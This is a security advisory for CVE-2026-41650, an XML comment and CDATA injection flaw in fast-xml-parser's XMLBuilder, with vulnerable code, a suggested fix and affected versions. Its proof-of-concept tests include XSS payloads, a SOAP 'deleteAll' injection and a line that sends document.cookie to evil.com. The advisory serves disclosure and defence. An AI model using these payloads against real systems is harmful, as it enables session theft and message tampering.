Advisory

GHSA-gh4j-gqv2-49f6

Also known as: CVE-2026-41650

Summary

fast-xml-parser XMLBuilder: XML Comment and CDATA Injection via Unescaped Delimiters

Details

fast-xml-parser XMLBuilder: Comment and CDATA Injection via Unescaped Delimiters

Summary

fast-xml-parser v5.5.12 (latest) XMLBuilder does not escape the --> sequence in comment content or the ]]> sequence in CDATA sections when building XML from JavaScript objects. This allows XML injection when user-controlled data flows into comments or CDATA elements, leading to XSS, SOAP injection, or data manipulation.

Existing CVEs for fast-xml-parser cover different issues:

  • CVE-2023-26920: Prototype pollution (parser)
  • CVE-2023-34104: ReDoS (parser)
  • CVE-2026-27942: Stack overflow in XMLBuilder with preserveOrder
  • CVE-2026-25896: Entity encoding bypass via regex in DOCTYPE entities

This finding covers unescaped comment/CDATA delimiters in XMLBuilder - a distinct vulnerability.

Vulnerable Code

File: src/fxb.js

// Line 442 - Comment building with NO escaping of -->
buildTextValNode(val, key, attrStr, level) {
    // ...
    if (key === this.options.commentPropName) {
        return this.indentate(level) + `<!--${val}-->` + this.newLine;  // VULNERABLE
    }
    // ...
    if (key === this.options.cdataPropName) {
        return this.indentate(level) + `<![CDATA[${val}]]>` + this.newLine;  // VULNERABLE
    }
}

Compare with attribute/text escaping which IS properly handled via replaceEntitiesValue().

Proof of Concept

Test 1: Comment Injection (XSS in SVG/HTML context)

import { XMLBuilder } from 'fast-xml-parser';

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true,
  suppressEmptyNode: true
});

const xml = {
  root: {
    "#comment": "--><script>alert('XSS')</script><!--",
    data: "legitimate content"
  }
};

console.log(builder.build(xml));

Output:

<root>
  <!----><script>alert('XSS')</script><!---->
  <data>legitimate content</data>
</root>

Test 2: CDATA Injection (RSS feed)

const builder = new XMLBuilder({
  cdataPropName: "#cdata",
  format: true,
  suppressEmptyNode: true
});

const rss = {
  rss: { channel: { item: {
    title: "Article",
    description: {
      "#cdata": "Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more"
    }
  }}}
};

console.log(builder.build(rss));

Output:

<rss>
  <channel>
    <item>
      <title>Article</title>
      <description>
        <![CDATA[Content]]><script>fetch('https://evil.com/'+document.cookie)</script><![CDATA[more]]>
      </description>
    </item>
  </channel>
</rss>

Test 3: SOAP Message Injection

const builder = new XMLBuilder({
  commentPropName: "#comment",
  format: true
});

const soap = {
  "soap:Envelope": {
    "soap:Body": {
      "#comment": "Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!--",
      Action: "getBalance",
      UserId: "12345"
    }
  }
};

console.log(builder.build(soap));

Output:

<soap:Envelope>
  <soap:Body>
    <!--Request from user: --><soap:Body><Action>deleteAll</Action></soap:Body><!---->
    <Action>getBalance</Action>
    <UserId>12345</UserId>
  </soap:Body>
</soap:Envelope>

The injected <Action>deleteAll</Action> appears as a real SOAP action element.

Tested Output

All tests run on Node.js v22, fast-xml-parser v5.5.12:

1. COMMENT INJECTION:
   Injection successful: true

2. CDATA INJECTION (RSS feed scenario):
   Injection successful: true

4. Round-trip test:
   Injection present: true

5. SOAP MESSAGE INJECTION:
   Contains injected Action: true

Impact

An attacker who controls data that flows into XML comments or CDATA sections via XMLBuilder can:

  1. XSS: Inject <script> tags into XML/SVG/HTML documents served to browsers
  2. SOAP injection: Modify SOAP message structure by injecting XML elements
  3. RSS/Atom feed poisoning: Inject scripts into RSS feed items via CDATA breakout
  4. XML document manipulation: Break XML structure by escaping comment/CDATA context

This is practically exploitable whenever applications use XMLBuilder to generate XML from data that includes user-controlled content in comments or CDATA (e.g., RSS feeds, SOAP services, SVG generation, config files).

Suggested Fix

Escape delimiters in comment and CDATA content:

// For comments: replace -- with escaped equivalent
if (key === this.options.commentPropName) {
    const safeVal = String(val).replace(/--/g, '&#45;&#45;');
    return this.indentate(level) + `<!--${safeVal}-->` + this.newLine;
}

// For CDATA: split on ]]> and rejoin with separate CDATA sections
if (key === this.options.cdataPropName) {
    const safeVal = String(val).replace(/]]>/g, ']]]]><![CDATA[>');
    return this.indentate(level) + `<![CDATA[${safeVal}]]>` + this.newLine;
}

Severity

Medium Basis: The source's own band: MODERATE

Dates

Published
2026-04-22 20:04 UTC
Modified
2026-11-18 00:45 UTC

Affected packages and fixes

fast-xml-parser

npm · All systems

Affected

  • introduced 5.0.0, fixed 5.7.0 (semver)

Fixed versions

5.7.0

Fix

fast-xml-parser

npm · All systems

Affected

  • introduced 0, fixed 4.5.7 (semver)

Fixed versions

4.5.7

Fix

Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.

Check your own computer: guard packages check

View this record on OSV.dev

Source

Source: GitHub Advisory Database (reviewed advisories) · CC BY 4.0

Sources & licences